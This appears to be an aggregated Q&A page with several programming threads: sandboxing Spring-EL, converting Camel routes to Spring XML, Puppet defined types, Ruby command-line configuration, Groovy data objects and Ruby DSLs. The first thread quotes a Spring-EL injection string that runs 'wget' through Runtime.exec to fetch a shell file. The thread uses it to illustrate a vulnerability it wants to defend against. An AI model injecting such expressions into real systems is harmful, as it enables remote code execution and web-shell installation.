I am using Spring-EL to create dynamic csv-field to class-field mappings used in different Spring-Batch import jobs. (Different input files, same output classes). This is working very good but the idea is that it must be possible for a user to create such a mapping configuration.
The problem is that the Spring-EL expressions are not executed inside a kind of sandbox and therefor it is very easy to inject evil code. For example:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
My question is, how can I run Spring-EL inside some kind of sandbox or restrict access to only a specific set of methods/classes? I cannot find any thing related to this topic. Are maybe Spring-EL is not the right choice for the job.
Example of what I try to achieve:
name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
The SimpleEvaluationContext has been designed to decrease application vulnerabilities.
See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:
SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.
Related
So this may be a more general question, but I feel it needs to be asked.
Time and time again I come across examples on Camel's documentation pages where I say "that's exactly what I want!... but it's in Java not Spring. How the heck do I convert it properly?"
So my question is: What is the rule of thumb for converting things?
Is there some conversion guide out there?
For example, I wanted to append a \n to the end of each line as the data comes through a socket into a file using the Netty4 component.
I see an example such as .transform().body(append("\n"))
How would I interpret that as Spring, to put in my Spring-based route?
Maybe this is just a thing that a person new to Camel struggles with and once you get the hang of it you can see the obvious answer. But I feel like I can't be the only one who's thinking this about the examples out there.
It seems like a lot of Java -> Spring conversion can be done in a 1 to 1 ratio, but that's not all the time.
Well, the mapping isn't straightforward and there isn't a 1-to-1 mapping available - generally, a Java DSL method invocation will in most cases translate to a tag in Spring XML DSL but the position of that tag is not always the same - in some cases Java DSL method invocation chains translate to tags being placed on the same level, sometimes (e.g. idempotent consumer) the chain translates to child tags of the first invocation.
I guess that the mapping was done this way because XML and Java are two very different languages and making the mapping 1-1 would have crippled the expressiveness of at least one, if not both, DSLs.
My advice would be to always import the XML schema and rely on your IDE's auto-completion and the documentations from the schema itself and Camel's online documentation.
You can run your camel context via mvn camel:run goal and then use a JMX client to connect to that process. There is an mbean in camel which provides a method called dumpRoutesAsXML or similar. Invoking that one will give u the xml equivalent of your context. But keep in mind that it only prints the routes and all stuff out of routes is discarded.
Hope that helps,
Lars
I'd like to access attributes that are inside instances of defined types from other classes/instances.
This is very similar to a question asked on SO before - In Puppet, how can I access a variable/attribute inside a defined type?, however from what I understood the answer was specifically related to accessing parameters as opposed to arbitrary variables.
For example, given the following defined type:
define server (
$server_name = 'my_server'
){
$server_history = 'A long story'
}
I can successfully use getparam(...) to fetch server_name but I cannot do the same for server_history.
Also, if server was a class as opposed to to a defined type, accessing this variable is straightforward using something like server::serverhistory
Does anyone have any ideas on how to expose these variables? Or am I approaching this completely the wrong way?
Edit: For some higher level context on what I'm trying to do my server type gets instantiated by 3 other classes. A variable in the server type builds out some directory paths based on parameters provided to it by these classes (which naturally, are specific to those classes). There are some other classes that would like to use the directory path variable to place files there.
You ask
I'd like to access attributes that are inside instances of defined types from other classes/instances.
and you go on to clarify that you're after
arbitrary variables.
In fact, ordinary variables in the body of a defined type are not attributes of that type, nor of any instance thereof. They are not part of the accessible persistent state of instances of such types at all.
More generally, Puppet treats defined types just like native types in almost every observable way, but by the same token, it does not provide any features that serve to distinguish defined types as a special case. You are looking for such a feature, and it does not exist.
Since your design idea will not work, you'll need to think of an alternative. You say
my server type gets instantiated by 3 other classes. A variable in the server type builds out some directory paths based on parameters provided to it by these classes (which naturally, are specific to those classes). There are some other classes that would like to use the directory path variable to place files there.
Since the paths you're after are characteristic of specific classes, it makes sense for them to be accessible directly via those classes. It seems odd to me that you would even want to access them indirectly via resources declared by those classes.
When developing large scale command line applications that are composed of multiple classes, which need to use options passed from the command line, how do you construct the code such that you can use those options?
I write code like this:
class DatabaseHandler
def initialize(cmd_options = {})
#cmd_options = cmd_options
end
def some_method
puts #cmd_options[:cmd_parameter]
end
end
which, seems tedious and unnecessary to me. What is the Ruby best practice for using command line option parameters in your project's classes? Help appreciated.
Ruby classes are simply that: classes. Good OOD applies, even if it's a command line application. If you need custom behaviour, use dependency injection or configure it using arguments. You may share the command line options using global variables, but as always, that comes at a price: shadowing, increasing complexity to understand the collaborators of a class, difficulty finding the source of a data, etc.
I'd suggest using factory methods to parse the input and return the correct configuration to be passed to a class. If you want nice examples of dependency injection, watch some Sandi Metz talks, she really knows her stuff.
Command-line options are no different from any other kind of configuration; configuration is configuration, no matter where it came from. So, you deal with them the same way you deal with other configuration, e.g. using
a global singleton
Dependency Injection (which is what you are doing in your example)
the Reader Monad
…
For example, for request parameters (which is probably the closest analog to command-line arguments in a Web context), Rails uses a global method named params which returns a Hash-like object mapping parameter names to arguments. So, that would be an example of a global singleton.
If I want to handle many parameters from for example a web request and pass it between classes (layers) - what is the preferred way?
I know it is easy to pass optional numbers of parameters through the constructor as a map.
I can also pass a map directly and if the keys match the receiving objects property names it should work in a similar way
Or I could just pass the map and then instantiate for example domain classes from that
I could use a special class as data carrier with given number of properties
I have a domain class (not database domain but business domain) that needs data from the user interface.
What is the best way to pass data through the layers and how do I know that all required data is being passed if using a data structure - like a map - with key values? If I would have a more static constructor with a given number of parameters, then I would know that the parameters are being passed. But how do I secure this when using a more dynamic approach? With unit tests?
Well in Grails command objects are an excellent choice. You can pass them up to various layers without issues. They are pretty analogous to domain classes, only without the whole persistence functionality.
Otherwise I would recommend using plain old Groovy classes (POGOs). Groovy allows you to keep your code very short (compared to Java and many other languages as well) and offers very handy transforms for common design patterns you might need (e.g. Canonical, Immutable, IndexedProperty, DelegatesTo...).
Compared to command objects POGOs do require you to write e.g. validation code by yourself, but this can be as simple as
boolean isValid() {
name && lastName && countryCode in ['US', 'CA']
}
You can keep static factories in a POGO to help you construct them in the various circumstances. Plus you can define more than one class in a file so you can keep the POGO code wherever it makes most sense. I would definitely prefer this approach to simple maps because the code is better encapsulated, POGOs can be unit tested & documented.
What are some defining characteristics of a Ruby DSL that separate it from just a regular API?
When you use an API you instantiate objects and call methods in an imperative manner. On the other hand a good DSL should be declarative, representing rules and relationships in your problem domain, not instructions to be executed. Moreover ideally DSL should be readable and modifiable by somebody who is not a programmer (which is not the case with APIs).
Also please keep in mind the distinction between internal and external DSLs.
Internal domain specific language is embedded in a programming language (eg. Ruby). It's easy to implement, but the structure of the DSL is dependent on the parent language it is embedded in.
External domain specific language is a separate language designed with the particular domain in mind. It gives you a greater flexibility when it comes to syntax, but you have to implement the code to interpret it. It's also more secure, as the person editing domain rules doesn't have access to all the power of the parent language.
DSL (domain specific language) is an over-hyped term. If you are simply using a sub-set of a language (say Ruby), how is it a different language than the original? The answer is, it isn't.
However, if you do some preprocessing of the source text to introduce new syntax or new semantics not found in the core language then you indeed have a new language, which may be domain-specific.
The combination of Ruby's poetry mode and operator overloading does present the possibility of having something that is at the same time legal Ruby syntax and a reasonable DSL.
And the continued aggravation that is XML does show that perhaps the simple DSL built into all those config files wasn't completely misguided..
Creating a DSL:
Adding new methods to the Object class so that you can just call them as if they were built-in language constructs. (see rake)
Creating methods on a custom object or set of objects, and then having script files run the statements in the context of a top-level object. (see capistrano)
API design:
Creating methods on a custom object or set of objects, so the user creates an object to use the methods.
Creating methods as class methods, so that the user prefixes the classname in front of all the methods.
Creating methods as a mixin that users include or extend to use the methods in their custom objects.
So yes, the line is thin between them. It's trivial to turn a custom set of objects into a DSL by adding one method that runs a script file in the right context.
The difference between a DSL and an API to me is that a DSL could be at least understood (and verified) if not written as a sub-language of Ruby by someone in that domain.
For example, you could have financial analysts writing rules for a stock trading application in a Ruby DSL and they would never have to know they were using Ruby.
They are, in fact, the same thing. DSLs are generally implemented via the normal language mechanisms in Ruby, so technically they're all APIs.
However, for people to recognize something as a DSL, it usually ends up adding what look like declarative statements to existing classes. Something like the validators and relationship declarations in ActiveRecord.
class Foo << ActiveRecord::Base
validates_uniqueness_of :name
validates_numericality_of :number, :integer_only => true
end
looks like a DSL, while the following doesn't:
class Foo <<ActiveRecord::BAse
def validate
unless unique? name
errors.add(:name, "must be unique")
end
unless number.to_s.match?(/^[-]?\d$/)
errors.add(:number, "must be an integer")
end
end
end
They're both going to be implemented by normal Ruby code. It's just that one looks like you've got cool new language constructs, while the other seems rather pedestrian (and overly verbose, etc. etc.)